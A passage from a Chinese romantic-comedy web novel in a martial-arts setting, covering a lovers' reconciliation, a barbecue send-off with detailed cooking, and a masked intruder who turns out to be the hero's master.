她低着头不敢看张清寒,两只小手不自觉地揉搓着手帕,实在是受不了了,一下子就坐在了地上,毛茸茸的头埋在膝间,压根不敢抬起来。 直到过了许久,寂静无声的小河沿给了程六水一点点勇气,她微微抬起了头,双手盖在脸上,眼眸透过指缝悄摸摸地张望着。 “你你你…”程六水的心脏怕是不太行了,她震惊得都结巴了。 张清寒腰间的绳子倒是解开了,可这人怎么好端端地又跪在了搓衣板上,他不疼吗? “六水,你不生气了吧?”张清寒小心翼翼地问道。 “我生不生气的,你倒是给我起来啊,别跪着了。”程六水两眼一黑,“哐当”一下也要给张清寒跪下了,两个人黑灯瞎火的,在河边就要这么对着跪起来了。 幸亏是路上没人啊,不然不得给人家吓出个好歹了。 张清寒一看程六水这也要跪下的动作,使出了毕生的功力,仿佛瞬移般垫在了程六水身下。 然后程六水眼睁睁地看着自己双膝下的冷草地变成了张清寒的暖呼呼腹肌,她这回是真没招了,无力地栽倒在地上,深吸了好几口气才道,“这搓衣板也是萧墨让你买的?” “对。”张清寒没再跪搓衣板了,因为搓衣板被程六水抱在了身前。 “以后萧墨的话,也不用总听。”程六水望着张清寒那惴惴不安的神情,终于还是没忍住“扑哧”一下笑出了声,这么笨的家伙到底是怎么当上大官的。 张清寒见程六水笑了,心里的大石头总算是落地了一半,清俊的脸上才有了点笑模样,“你不生气了吧?” “哦?如果我说还生气的话,你不会又要去跪搓衣板吧?”程六水又不是气球,哪里有那么多气,可天生坏心眼的她偏偏要逗弄张清寒。 “不跪了,我有话本子和…胡旋舞服。”张清寒心一下子又被提了起来道。 “所以这几样东西,都是你买来哄我开心的?”程六水托着下巴,煞有介事地审问道。 “是,那搓衣板和绳子是萧墨的主意,至于话本子和舞衣是马牧川的主意。”张清寒老老实实答道,轻咬着嘴唇。 程六水借着皎洁月光,翻起了话本子,谁曾想看了几眼就立马合上了,这都写的什么呀?男狐狸精求着公主报恩,使劲浑身解数竟然还跳起舞来。她再一瞅张清寒腰上的舞服,终于破案了,合着是这么来的。 “马牧川的话,也不用听了。”程六水一把就扯下了那胡旋舞服,揣在包袱里,自己背起包袱来。 “这衣服?”张清寒见状出言道。 “你买这衣服不是为了给我赔罪吗?”程六水斜晲着看向他。 “对,可我还没穿…”张清寒小声道,他亦是心虚得很,那话本子他也看了,自己虽不是什么男狐狸精,可也是要跳舞的吧? “不用穿,你把这衣服给我,我就消气了。”程六水笑眯眯道,今晚她受得刺激已经够多了,不要再穿这布料少得可怜的舞服来诱惑她了,她真的是没什么顽强的意志力,她控制不住她自己啊。《 》 70-80 第71章 泥炉烤肉 张清寒确实听不了萧墨和马牧川的话了,毕竟身强力壮的大将军病得再重,总归是要好的,而遮遮掩掩在万通镖局查账的马牧川,这账本翻来覆去看了七八遍,就差把账本翻烂了。 曲终人散终有时,京城快马加鞭赶来的第三封密信是皇帝亲笔写的,抛去那些个冠冕堂皇的官话,内里的意思再清楚不过,“玩够了快滚回来干活,老子要累死了。” “天将降大任于斯人也,你们俩还是收拾收拾上路吧,活拢共就那么多,你俩少干点,自然陛下就得多干些。”张清寒看了两眼信上那龙飞凤舞的笔迹,幸灾乐祸地摇了摇头。 “你还在那儿笑,合着上路的不是你了,你倒是猫在这江陵做个闲云野鹤之人。”马牧川冷哼了一声,心不甘情不愿道。 “我这是辞官不成,被那两位圣人忽悠到这里打工还债的。”张清寒不紧不慢地反驳道。 萧墨坐在一旁,神情颇为凝重肃穆,马牧川那么一瞥,顿时吓了一跳道,“老萧你这是作甚?是叫你回京,不是叫你打仗去。” 萧墨见两位老友关切的眼神,这才长叹了口气道,“我不放心四方啊,他性子直实心眼的,清寒你得对他好点,不能叫人欺负了他去。” 张清寒听罢不禁皱巴着脸,脑海中闪现过了一个个乔四方扛着大弯刀冲锋陷阵,见人杀人见鬼杀鬼的凶狠模样,撇着嘴道,“行吧。” “还有陶陶,你也得多照看点。”马牧川也赶紧嘱托道。 “你们都放心吧,我把他俩当祖宗供起来行了吧。”张清寒十分无奈地摇了摇头道。 “你可拉倒吧,你的祖宗也就只有六水一个,这么多年了,我就没见过你吃瘪成如此模样。”马牧川不留情面地揭穿了张清寒。 张清寒一时语塞,那个不知名夜晚的悸动在胸中翻涌潮起,如海如浪般向他袭来,砸得他晕头转向,只能紧紧抓住那夜的六水。可惜六水无情地扯过那件胡旋舞服,面无表情地转身离去,不给他留一丝开口诉说绵绵情意的机会。 那夜过后,仿佛什么都没发生过,依旧是东家与伙计,时不时地插科打诨调笑玩闹,每每置身于这欢声笑语里,便是张清寒最心惊的时候,那无形铁墙无声无息地在他们二人中间竖起。 他恨不得六水打他骂他甚至是将他踹进那夜冰冷的河水里, 也都不愿是如今这局面,比起争吵更怕的是不吵不闹粉饰太平。 而那位粉饰太平的祖宗,正在哼着小曲快乐地在后厨切菜,菜刀“嗖嗖嗖”案板上的土豆就块儿变成了片儿,又从片儿变成了丝儿。而在油锅里炸好的花生米,嘎嘣脆香红通通的外皮焦焦的,散发着过油后诱人的香气。 除了土豆丝,自然还有胡萝卜丝胡葱丝,在盘子里码得齐齐的,等待这程六水的召唤。 一旁桌上则放了好几个水碗,仔细一瞧皱皱巴巴的腐竹早就泡软了,半点硬芯都没有,另一只水碗里则放着些赵玉雨没见过的新奇玩意,鼓鼓的白肚皮下还有几只小爪子。 “六水,这是什么呀?”赵玉雨指着水碗里好奇道。 “是墨斗鱼,我在码头上淘到的,本是海边晒干的,用水这么一泡,你看是不是水灵灵的了。”程六水乐呵呵道。 “这居然是鱼,我还从未见过长成这样的鱼呢。”赵玉雨用筷子夹了一只出来,轻轻一嗅果然有咸湿海味。 “那你得好好尝尝我今天这道拌墨斗,我跟你是买不了吃亏买不了上当,准保你一吃一个不吱声。”程六水开始王婆卖瓜自卖自夸了起来。 “不吱声,那不就死翘翘了吗?”马陶陶正好掀开帘子进来笑道。程六水一听这话就要作势打马陶陶,几个人在厨房里又是好一阵的嬉笑,许久才停下来。 赵玉雨学着程六水的模样,仔细地收拾起墨斗鱼,内脏洗得干干净净的,而马陶陶则煮了一大锅沸水,焯完土豆丝焯胡萝卜丝,用那大漏勺一个劲儿在锅里划拉,实在是这土豆丝胡萝卜丝太细了,她只好拿出长筷子夹起来,奈何她的筷子功也不怎么样,满头大汗地折腾了半天。 马陶陶总算是给这些菜焯完了谁,忽而鼻间有股糊巴巴的味道,给她吓得赶紧蹲下来看灶台,灶台里的火烧得正旺,却半点糊味都没有。 “你们有没有闻到哪烧着了?”马陶陶循着这味道,就开始满屋乱窜啊。 “别晃悠了,你推开窗户看看。”程六水正往肥瘦相间的牛肉片里倒梨汁,这牛肉里本就是放了油浸润过的,如今再放些梨汁腌制,肉质则更为软嫩,还能有不少果香味呢。 明纸糊得窗户被支开了一个角,好家伙在那面包窑旁,怎么又多了几个黄泥烧成的炉子,黝黑的炭在里面噼里啪啦作响,缕缕白烟在这小院里散开来,蹲在一旁正在烧泥炭的乔四方和杜少仲烟熏火燎的。 赵玉雨顺着窗缝一瞧,再看看程六水手中的活计,立马喜笑颜开道,“今天要吃烧烤吗?” “当然了,今天可是要给萧大哥和马大哥践行,肯定是要吃烧烤的,俗话说没有一顿烧烤不能解决的事,一顿不行就两顿。”程六水伸出手指比着一二三。 她手脚麻利地腌好了肉,便来切地瓜片茄子片,一旁的口蘑自然也没放过,三下五除二就摆在了盘子里。去岁冬日里最后一瓮酸菜也起开了,淘洗干净烤起来吃,酸香可口甭提多美了。 这些烧烤的食材准备的是差不多了,程六水这才拿出个大瓷碗来,土豆丝腐竹胡萝卜丝都放了进来,自然也少不了脆香脆香的花生米。 好几勺白糖轻飘飘地撒进瓷碗里,白醋咕嘟咕嘟地也倒了不老少,这拌花菜定是要用上白醋,这酸甜的滋味才能愈发清爽,颜色也好看。 清酱辣椒油再来上些远道而来的鲜族辣酱,红艳艳甜滋滋的,程六水毫不费力地搅拌开来,本来寡淡的食材瞬间就挂上了酸甜辣爽的酱汁,尤其是那切得细细的土豆丝裹得最多,而腐竹则浸泡在红通通的酱汁里,吸满了汤汁。拌好了这菜,程六水就放在那儿多入些味,等下吃起来更好吃。 拌墨斗鱼用到的酱料也是大差不差的,只不过多了些辣椒面和牛肉粉,更为这道鲜到极致的拌菜增添了不少辛辣鲜香。 “杜二二!”程六水朝着窗外吆喝了两声,那杜少仲便心领神会颠颠跑到地窖里,地窖深处有个冰库,冬日里囤了不少冰,此时便派上了用场。 一大锅清亮喷香的牛肉汤在其中静待多时了,冰镇得透心凉,杜少仲嘚嘚瑟瑟地揣着袖子走了下来,勉强用袖子端起了牛肉汤就往上跑,这冰窖真是要冻坏人了。 程六水一看这冰冰凉的牛肉汤,心里就乐开了花,啊酸甜开胃的大冷面,她来了!这牛肉汤里自然不止有汤,几大片澄黄澄黄的梨,白醋白糖清酱盐巴一应俱全,冰镇了这一夜牛肉汤里都有果子味了。 勤勤恳恳负责煮东西的马陶陶,将已然煮好了的荞麦冷面赶紧捞出,放在大水盆里过了好几遍水,淘洗得清爽才夹进了这凉爽的汤底里,几片酱牛肉再来些小泡菜点缀其中,绿油油的黄瓜丝也来凑个热闹。 “开饭!”程六水一声令下,几个伙计昂首挺胸地端着一盘盘美味佳肴,急吼吼地就朝着大堂跑去。这看在眼里,吃不到嘴里的滋味,真是让他们不得不加快了脚步。 正从楼上下来的三个臭皮匠,一见那热腾腾的泥炉都端了上来,张清寒又飞了起来,如同一只长臂猿刹那间荡到了程六水身旁,自然而然地接过了她手里两碗大冷面。 马牧川见了这出儿,不禁恨铁不成钢地摇了摇头,他这兄弟也就这样了,这辈子怕是要被拿捏得死死的了。 大圆桌上一应家伙事俱全,拌花菜拌墨斗小泡菜,一盘子生菜椒圈蒜片也准备好了,最为惊奇的是,每个位子上都摆着个小碗,碗里居然是醇香的芝麻酱,芝麻酱上点缀着葱花香菜。 被泥炉烤得热乎乎的萧墨,小心翼翼用筷子蘸了蘸碗里的芝麻酱,咂巴咂巴撇嘴道,“这是要直接烤肉蘸芝麻酱?”他只见过涮羊肉蘸芝麻酱腐乳的,也没见过烤肉也这么吃啊。 “不不不,看我给你调一调。”程六水取了白糖白醋,倒在了满是芝麻酱的小碗里。 萧墨接过蘸料碗搅和均匀,在众人的目光灼灼下,硬着头皮用筷子再一尝,“好吃!酸酸甜甜的,还有芝麻香。” “那当然了,我程大厨可是个老吃家。”程六水骄傲地拍着胸脯保住道,这下子其他伙计们才有样学样地去抢白糖白醋。 细细的铁丝网架在泥炉上,烧得火热的炭火炙烤着油润的牛肉,马牧川饥肠辘辘地等不及了,随手夹了一筷子拌花菜,一入嘴那脆生生的土豆丝酥脆的花生米,在浓郁甜辣酸爽的酱汁里爆开了,吃得他是一口接一口停不下来了。 马牧川是越吃越饿了,这拌花菜未免也太开胃了吧!这烤肉啥时候好啊? 第72章 北斗大拿 油滋啦滋啦作响,滴在烧红的炭上焦香诱人,切得不薄不厚的牛肉片烤得正正好金黄,马牧川赶忙夹了一筷子,蘸着碗里的麻酱糖醋,汁水四溢的牛肉裹满了香醇厚实的麻酱,白糖又增添了难得的鲜味,当真是给马牧川香迷糊了。 这时那白醋便有了那么一丝解腻的味道,点睛之笔般令马牧川流连忘返,恨不得再夹上好几片肉,最好能连着炭盆都藏起来,就他一人吃才好呢。 他这么想了,不自觉地也就这么做了,那筷子快得飞起,半个炉子上的肉都夹进他碗里了。 而张清寒压根就不同他抢,他端着酸甜可口的冷面吃了起来,如今春日里了时气暖和,吃这冷面刚刚好,若是再过些日子到了盛夏,那便能做店里的招牌了。 呲溜呲溜地吃了好几大口,张清寒才发觉这冷面真是有嚼劲,偏还是细细的面入味得很,配上切好的酱牛肉那叫一个美啊。 “你也吃点。”程六水扫了几眼,斜晲着正在同乔四方抢肉的马牧川,顿时两人都瞪大了眼睛不敢说话了,她这才夹了块肥瘦相间的烤牛肉, 放进了张清寒的碗里。 张清寒瞬间呆愣住了,结果嘴里那口冷面差点要给自己呛死,一个劲地咳嗽起来,这人啊内力深嗓门大,咳嗽起来也格外惊天动地,惊得众人都放下筷子担忧地看着他。 程六水赶忙给他又是顺背又是倒水的,不消一会儿张清寒倒不咳了,只是闹了个大红脸。伙计们这才放下心来,在桌子上你夹一个拌墨斗,我吃一个烤地瓜片的,好不热闹。 “瞅你这样子,不喜欢我给你夹菜啊?”程六水灵巧地夹起口蘑,优雅地喝了喝口蘑里鲜得掉眉毛的汁水道。 这下子张清寒的脸是更红了,虽比不上天上的大太阳吧,怎么着也能红过小猴子的屁屁毛了。 “喜欢的。”张清寒别别扭扭了半天才轻声说道,什么男子气概啊早就没了,那双眼都化成了一汪春水。 他刚想抬起头诉说那无尽的情意,只听耳边传来了撒娇的声音,程六水攀着赵玉雨的胳膊,甜甜地说道,“姐姐我想吃这个~” 赵玉雨立马夹了个不远处的拌墨斗鱼给程六水,“你啊成天腻腻歪歪的。” “嘿嘿那你也给我夹好吃的!”程六水嚼着鲜脆的墨斗鱼,得意洋洋地说着。 两姐妹笑呵呵地闹成一团,而张清寒坐在一旁,宛如一个怎么融也融不进去的小丑,他落寞地轻轻叹了口气,叹气都不敢大声,生怕六水瞪他。 “呜呜呜六水,瘦牛肥牛肥瘦牛都没了。”马陶陶指着空空的盘子,可怜兮兮道。 程六水定睛一瞧,好家伙这几位吃得下巴都蹭上麻酱了,七八盘子肉早就被扫荡一空,半点肉沫子都不剩了,她不禁摇了摇头。 萧墨难得惊恐安分又心虚道,“我吃得不多的,就是还有点没吃饱。” 而光顾着咳嗽脸红叹气,肉根本没吃上几口的张清寒心里只有一句话,吃吃吃肉都被你吃没了! 程六水“扑哧”一声笑了出来,仿佛变戏法般从柜台帘子后面拿出了三大盆肉,刹那间手里就空空如也了,这帮人真是分工合理井井有条。 在漠北生活最久极具野外烤肉经验的萧墨稳坐头一把交椅,大长筷子十分灵巧地翻来覆去,而他的身强力壮臂力惊人的好弟弟乔四方负责端着盆。 杜少仲在一旁轻轻扇着泥炉里的炭火,火大火小着实是门学问,幸亏他总在厨房打下手,这火候掌握得相当不错。 而在此处毫无用处的马牧川,只能不情不愿地给主要劳动力萧墨捏肩,他幽怨地看着自家妹妹,好家伙陶陶翘个二郎腿,悠悠闲闲地端着她和赵玉雨的碗等着吃呢。 而赵玉雨则在稍远的火炉上烤起了酸菜,这酸菜垫在极密的铁丝网上,在酸菜上淋上些许菜籽油,待炭火稍稍那么一烤,满屋子都是酸香的味道,混着那烤牛肉的肉香,不知道还以为是酸菜炖白肉呢。 “走吧,我们一起烤地瓜去。”程六水笑眯眯看着气得嘴撅得老高的张清寒道。 张清寒眼睛突然亮了起来,他亦步亦趋地跟着程六水,那薄薄的地瓜片摆在泥炉外边一圈,烤到金黄焦脆便是浓浓的香甜,拣下来装满了好几个小盘子。 最后一群人吃得那叫一个酒足饭饱,都站不起来动两下,都怪程六水做得太好吃,那烧烤的食材又备了十成十的,就这七八个人都没吃完。 午后艳阳洒在几人的肩膀头上,屋外急吼吼叫嚷地骏马抖搂着蹄子,歇息了好一会儿的马牧川拍着妹妹的肩膀道,“好好干,等着你做生意超越我。” 马陶陶满脸自信道,“放心吧,长江后浪推前浪,直接把你拍飞了。” “呜…你别忘了哥哥…哥哥是真舍不得你啊…你记得给我写信…呜嗝”一旁的萧墨一把鼻涕一把泪道,他拉着乔四方的手是不肯撒手,千言万语在心头到嘴边全是抽泣。 乔四方这么七尺八的大汉也不禁潸然泪下,上前抱住自家哥哥埋头痛哭起来,呜咽着说道,“哥哥你等我啥时候就去看你!” “呜呜你可得说话算话,且得来啊。”萧墨又是嚎啕大哭起来。 程六水手里拎着两大包的牛肉干猪肉脯琥珀核桃瓜子点心,是给也不是不给也不是,想着要是没给出去,要不偷摸放自己屋里吃得了。 然后她就手上一轻,哭哭啼啼的萧大将军一边抹着眼泪一边手脚利落地扛着两大包吃的,头也不回地上了马,好似生怕程六水反悔不给似的。 “山高水远,就此别过,待来日咱们再吃烤牛肉!”萧墨坐于马上,拱手告别。 “行了,先别说烤牛肉了,你给我吃点包里的琥珀核桃,我都看着了。”马牧川也跨坐在另一匹马上,够着够着差点就够到那蜜糖裹得核桃了。 众人皆是哈哈一笑,行至江陵城门,送无可送只能看着这两位打打闹闹地离去,马蹄渐行渐远,所幸心近就好。 而酒楼尚未正式开张,大门紧紧闭着,杜少仲安慰着双眼肿成核桃的乔四方,赵玉雨正和马陶陶商量着哪家胭脂最好,程六水抱着不知哈巴狗毛毛,纤细手指穿过柔软绒毛,身心瞬间得到了治愈,湿漉漉的圆豆眼睛可爱极了。 张清寒走在众人身后,暖洋洋的日光洒在身上舒服极了,他的神色也不知不觉地放松下来。 可刚刚行到酒楼门前不远处,忽然他如幻影般挡到大家身前,浑身紧绷着低声道,“且慢。” 乔四方瞬间眼泪都不掉了,靴中两把短刀迎风而出,对着酒楼的大门严阵以待着,就连那杜少仲也反应过来,紧紧挡在三个女子身前,他从未见过张清寒如此严阵以待,想必这屋内定是来了什么了不得的人。 张清寒指尖一横,直勾勾地风声吹开了大门,大堂圆桌上本该燃尽的泥炉正烧得滚热,主位上坐着位老翁,白头白须大白脸,仙风道骨鹤发童颜,换了个干净的铁丝网和碗筷,正在那儿认认真真地烤肉。 “前辈不知何方神圣,竟光临我这小小酒楼。”张清寒示意众人停下,自己独身一人走到门前道。 那老翁并未抬头,还在那儿自顾自地吃起来,边吃边说道,“哎呀这小玩意谁研究的呢,真别说挺好吃。” 悄悄藏在张清寒身后的程六水听了这话,不禁抬头瞅了一眼那老翁,只这么一眼那老翁就发觉了,“小姑娘,这烤肉是你做的?” 程六水瞬间汗毛都立起来了,圆溜溜的眼眸左看右看,她下意识地向张清寒靠得愈发近了,“是我做的。” 话音刚落,张清寒直接将程六水整个人护在自己的身后道,“前辈,莫不是名震江湖一代宗师,北斗大拿?” 张清寒武功早已算得上打遍武林无敌手,可眼前这人内力浑厚深不可测,呼吸绵长几乎不易察觉,江湖上数一数不过那么几位,三大宗师中白发白须便只有北斗大拿了。 这位大拿前辈与太白散人不同,太白散人素来就是个老顽童的性子,无事看看热闹活得潇洒自在,可北斗大拿却常年隐居,近些年更是没人见过他,传闻他性子极为刁钻,是个极难对付的角色。 “你这小辈有点眼力。”北斗大拿说罢,便放下了筷子,讲究地拿着方帕擦了擦嘴,从袖中抽出一个皱皱巴巴的纸团,费劲巴拉地打开看了眼,再仔细看了看张清寒。 “前辈是来寻晚辈的吗?”张清寒一见便试探着问道。 “有人要取你性命,小子你知道你的命值多少吗?”北斗大拿愈发和蔼说道。 “我的命能值前辈出山一回,那大抵是天价了。”张清寒听见要取自己性命,却并未有丝毫慌张,一改往日冷脸温和笑道。 第73章 香露丸 北斗大拿听了这话,竟自顾自地笑了起来,一脸明晃晃的骄傲,偏偏又做出副不好意思的模样道,“算不上算不上,可别往外说是天价,要不然都没人敢来找我了。” 程六水乖乖地如鹌鹑般躲在张清寒身后,可小脑袋瓜却一点也没停下,这北斗大拿怎么听上去不像个武林宗师,倒像个奸商!和张东家如出一辙的奸商! “哈哈前辈说笑了,您都出山了,我怕是没这个命往外说了。”张清寒颇为豁达笑道。 紧接着他又道,“不过死也要死个明白,我结仇太多,一 时间竟不知到底是谁要我性命,前辈不妨告诉我一二,免得我在黄泉路上做个冤死鬼。” 北斗大拿微眯了双眼两下,审视地望向毫不反抗的张清寒,他不自然地摸了摸自己满是胡须的下巴,久久才道,“你猜。” 张清寒更是从善如流,掌心一阵风,“哐当”吸了两个板凳过来,先是递给身后的程六水一个,自己才坐下道,“既然前辈让我猜,那就是给我脸面了,我不妨猜上一猜。先说朝堂之上,文官之首顾内阁视我为奸臣佞臣,恨不得处之而后快,自然了那文臣一脉于我都是一个心思。 再说江湖之远,江湖八大名门正派我确实以礼相待,可奈何我先前的营生属实不太地道,人无完人江湖帮派子弟多是嘴上没个把门的,若是说了什么辱骂天子的话,那也还是要去皇城司走上一遭的。更莫要提江湖中做些见不得人勾当的帮派,那与我结怨也就更多了,还有……” “还有啊?”北斗大拿一脸震惊得看向张清寒,上下打量不禁想到,果然是人不可貌相,海水不可斗量。这张清寒人不大,闯荡江湖没几年,净同人结仇了。 酒楼伙计们听了自家东家这话,神色各异却动作十分一致,从后院里取了好几个长凳,坐在酒楼门口竖起耳朵听得十分仔细。 “自然是有的,大乾虽幅员辽阔,但我也算是天赋异禀,通通得罪了个遍,前两年我这公事愈发多了,经常要派遣密探前去邻国,北有北戎,南有南越,西边西域,所幸大乾东邻大海,我也只是与北戎南越西域结了仇。”张清寒点头笑道。 此言一出,本在张清寒身后的程六水默默将板凳往后移了移,好家伙这人真是艺高人胆大,幸亏这是古代不能上天下海,要不然张清寒不得把冲出宇宙啊。 “……”北斗大拿不禁撇起嘴来,手里啊痒得很,真想一巴掌给眼前这小子扇飞。 “依晚辈之见,要晚辈命的大抵就在这些人中吧。”张清寒说罢站直身子,拱了拱手道。 “你…你可真是个大聪明啊。”给北斗大拿逼得实在没了办法,只能张嘴胡言乱语起来,“行了,老夫不同你这小子废话了,你们后面这群看热闹的,哪凉快哪呆着去,小心溅你们一脸血。” 酒楼伙计们刹那间面面相觑,可却无一人退后,就连最为胆小的杜少仲也撸起了袖子。 “哎呦嘿,你小子没想到得罪了那么多人,搁这儿酒楼里人缘倒是好,这么多上赶子送死的呢。”北斗大拿从腰间取出了一个口袋,双指轻轻一挥,口袋中黑玉棋子深深嵌在了门框上,顷刻间那门框便四分五裂起来。 噼里啪啦的木屑往下掉,伙计们被砸得灰头土脸的,程六水心中怒火更甚,这可是刚刚建好的酒楼啊,天杀的! “啪啪啪”张清寒冷笑着拍手道,“不愧是北斗大拿,传闻前辈拿手武器便是黑白玉棋,玉棋之快无人能及,还未看清便已是命丧黄泉,当真是棋棋致命,那玉棋在死人身上如北斗七星般璀璨耀眼。” “你小子见多识广得很嘛,要不是对面人出了大价钱要你的命,老夫说不定真愿意保你一命,留你天天给老夫拍马屁。”北斗大拿说时迟那时快,又是一白玉棋,如幻影般射向张清寒额间。 众人吓得同手同脚地阻拦,却仍是晚了一步,那白玉棋已然在张清寒分寸之间,忽而一只有力的大手闪电般在最后一瞬抓住了这白玉棋,张清寒并未看手中的棋子,弯起唇角无声无息地将其在掌中碾碎成粉末。 一把扬过去,那白玉粉末仿佛生了腿脚般,每一粒尘埃皆糊向对面那老翁的眼眸,任凭他在翻涌都不得脱身。 等北斗大拿连打了好几个喷嚏,摩挲着水壶就往自己眼睛里倒啊,这才重见天日。 他这么定睛一瞧,这地上的人怎么都在那儿叠罗汉呢,而方才黑心肝的张小子被压在了最底下,张牙舞爪地动弹不得。 事情是自然而然发生,俗话说一个和尚有水喝,两个和尚挑水喝,三个和尚没水喝,酒楼五个伙计齐刷刷地欲救在那白玉棋下的张清寒,在随后的杜少仲急吼吼地扑向前去,愣是没看见脚底下的小白狗毛毛,他三下五除二就把自己绊倒了,直接扑在了乔四方身上。 乔四方本是武艺高强的,双腿一蹬就要飞去挡张清寒额前的白玉棋,结果被杜少仲拽住了衣摆,怎么着都没飞起来,身子一栽压倒在了马陶陶身上,马陶陶左手边的赵玉雨眼看这七尺八的壮汉砸过来,本能地就是拉着陶陶往前逃。 她俩前面能有谁啊?不就只剩正从袖口里摸毒死人不偿命药丸的程六水嘛,程六水本就紧张地要命,正准备用她那在现代练习许久的投篮技巧,精准地把药丸扔进北斗大拿嘴里。 没想到没等扔呢,就被这身后铺天盖地的几个人勾住了,待到张清寒潇洒地撒完粉末,正准备去绑了那北斗大拿,问问这回到底是谁想要了自己的小命。 然后张清寒就毫无还手之力地被他的好伙计们压住了,压得他差点五脏六腑都错位了,他是不用成了身上有北斗七星的死人了,直接成了被压死的死人了。 “哈哈哈哈,哎呦喂你们这是玩哪一出啊?”北斗大拿满脸白玉粉末,跟个东瀛艺伎似的,偏偏笑得是叫一个大声啊,那黑眼仁红舌头说不出来的瘆人。 他蹲下来瞅着最下面的张清寒,上去就是一个清脆响亮的巴掌,“小子,我你都敢打,我看你是长本事了。” 张清寒挨打挨得都恍惚了,不可置信地抬头看向眼前的白面老翁,心中的疑惑愈演愈烈,还没来得及开口,只见正猖狂笑着的老翁忽然捏住了自己的嗓子眼。 他瞪大了个眼睛,声嘶力竭道,“小兔崽子,你把什么扔进去了!” 程六水面无表情道,“没什么,就是扑棱蛾子蜈蚣腿,好吃吗?” “呸呸呸!”北斗大拿这下子可是恶心的要命,赶紧蹲在地上就开始扣自己的嗓子眼,可惜为时已晚,他方才笑得太大声了,那东西过于丝滑地滑进了他的肚子里。 众人趁这个功夫赶紧手忙脚乱地从这罗汉小山下来,一个个是头发凌乱衣服破破烂烂,不知道以为是丐帮新招的人呢。 “行了,别抠了,我骗你的不是什么扑棱蛾子。”程六水边整理着自己这身新做的桃花石榴裙,边好心开口道。 听了这话,北斗大拿才忙不迭地喝了一大口水,上气不接下气地拍着胸脯。 “嘿嘿不是扑棱蛾子,是我独门秘制的香露丸,小小一粒买不了吃亏买不了上当哦~”程六水笑眯眯道。 “香露丸?”北斗大拿直觉这玩意不是什么好东西,他不经意地斜晲了一眼张清寒。 那张清寒一脸傻样,显然他对程六水的所作所为一无所知,这北斗大拿心中更气了,手又痒得想抽张小子一巴掌。 “香露丸,顾名思义是我用桃花梨花海棠花迎春等数十种鲜花汁子调配而成,食用之人不消一刻钟便通体生香,香气经久不散。”程六水笑得十分灿烂道。 北斗大拿这心才略略放下,正要再取一枚玉棋砸向张清寒,却发现自己体内的内力竟无影无踪,那玉棋扔了还没一丈远呢,“哐当”就落了地,连张清寒的边都没挨着。 “你你你,你对我做了什么?!”北斗大拿这下才察觉出大事不妙了。 “我没有啊,世间万物相生相克,前辈内力深厚却也不是什么都不怕的,这香露丸里又取了诸国稀罕草药,掺在一起令人四肢绵软内力全无,只能束手就擒了。”程六水拄着下巴娇俏道。 程六水话音刚落,酒楼的伙计们一个个都涌了上来,乔四方手脚麻利地就将全无反手之力的北斗大拿五花大绑了起来,马 陶陶则快乐地拔着这人的白胡子。 “忘说了,此药唤作香露丸还有一典故,食之七日内若是死了,那鲜花香气便可盖过腐臭,埋在不远处的桃花林正正好。”程六水站在张清寒身旁道。 “啊啊啊!张小子你是不是死了?快救我啊!”北斗大拿这才无比崩溃道,而他的白胡须竟被马陶陶一下子全扯掉了,露出了光洁的下巴。 第74章 酒曲换龙骨 “张小子?”程六水满脸问号地转头看向张清寒,怎么感觉奇奇怪怪的。 张清寒心中的疑惑终于是见了天日,他走上前去朝着“北斗大拿”的下巴处摸去,用力那么一扯,瞬间“北斗大拿”的面容极度扭曲,挣扎间那满脸褶皱都不见了,取而代之的是一张三四十岁男人的脸。 人皮面具顺带着将苍白的假发也一应除去,黑发凌乱地散落在这人的肩膀头上,如鹰如豹的眼眸死死盯着酒楼众人。 程六水一看这人真容,顿时说不出话来,世上最好的能工巧匠也无法雕刻出这般天地造化的面容,比之张清寒容貌清俊更添几分野性调调,宛如一只翻山越岭自雪山而来的豹子,风雪只为其增添了不少历经世事的韵味。 几位姑娘面面相觑,一时间竟都说不出什么狠话来,手下的动作也不恶狠狠了,毕竟这样一张脸埋在土里着实是有些暴殄天物了。 张清寒自然看清了他手下这几个大色迷伙计的嘴脸,默默咽下了满腹牢骚,绕道“北斗大拿”身后就要为其解开绳子。 “哎!东家你要不还是再想想,莫要放虎归山啊。”程六水虽是被迷得七荤八素,却及时悬崖勒马,拽住张清寒的袖子阻拦道。 “无妨。”张清寒停滞了两下,仍是继续着手中的动作,不多时那绳子就解开了。 “北斗大拿”此时早已浑身没了力气,窝在椅子上,没好气地甩了甩了自己勒出红印的手腕,嘚嘚瑟瑟地抬起手指头,瞅着酒楼众人就气得都说不出话来。 程六水不禁摇了摇头,这人生得是好,可这手抖是怎么回事,不会年纪轻轻就脑血栓了吧? 张清寒倒是直起了身子,像模像样地整理了衣衫几下,目不转睛地看向“北斗大拿”,那宽大的衣袖悄悄滑了下来,露出了冷白的手腕,刹那间那手腕仿佛发了疯魔,白影一晃而过高高举起,“啪”一声打在了毫无还手之力的“北斗大拿”脸上,清脆响亮地落下了一个明晃晃的红印。 与张清寒脸上那个交相辉映着,五指分明掌心用力,忽而那被打的“北斗大拿”笑了,肆意张扬中更添几分少年气。 “弟子见过师父。”那笑声未落,张清寒恭敬地弯腰一礼,直接将这场诸人全都干懵了。 “算你有长进……”原来这人便是张清寒在六白山的恩师顾名思,东方亮欣慰开口道,可话音却愈发弱了,转眼便阖上了双眼,满屋皆是百花香气,清新沁甜宛如置身于漫山遍野花林中。 张清寒刚行完礼,一抬头就见自家师父四仰八叉地窝在圈椅里不省人事了,他又是重重叹了口气,无声地看向程六水。 “嘿嘿不好意思,药量没把控好,没事的睡个把时辰就好了。”程六水挠着头心虚道。 “清寒,你们这师徒还流行互扇巴掌啊?”杜少仲出身清贵世家,尊师重道是写在骨子里的条框,一朝见了这场景当真是转换不过来。 这时张清寒才用舌头顶了顶自己红肿的脸,手指一碰热得很,他坦然道,“从我入师门第一日起,师父便告知我,若是有一日我能把他打倒在地,那便随我打巴掌,自然了他也没少打我巴掌。” “他为什么打你?”程六水听罢脱口而出道。 “无非是什么时气不好,师父牌局输了的缘由吧。”张清寒不以为意道。 “???这都能是打你的理由?你这师父是什么师父啊?”程六水眼神中不禁流露出阵阵心疼,她控制不住地抬起手想去摸摸他红肿的脸,却又在旁人察觉时悄悄放下了。 “我本就无父无母,被师父捡去养大,他教我习武识字通晓事理,这点打骂倒是也不算什么,毕竟我这不是也打回来了嘛。”张清寒一见程六水关心自己,心里就软成一汪水了,故作坚强说道后,又可怜兮兮地瞅着程六水。 “咳咳”程六水赶忙装作很忙地咳嗽一声道,“那这如今又是哪一出啊?师父来见徒弟不好好见,偏要作怪的扮成旁人,竟还扯什么要来取你性命的幌子。” 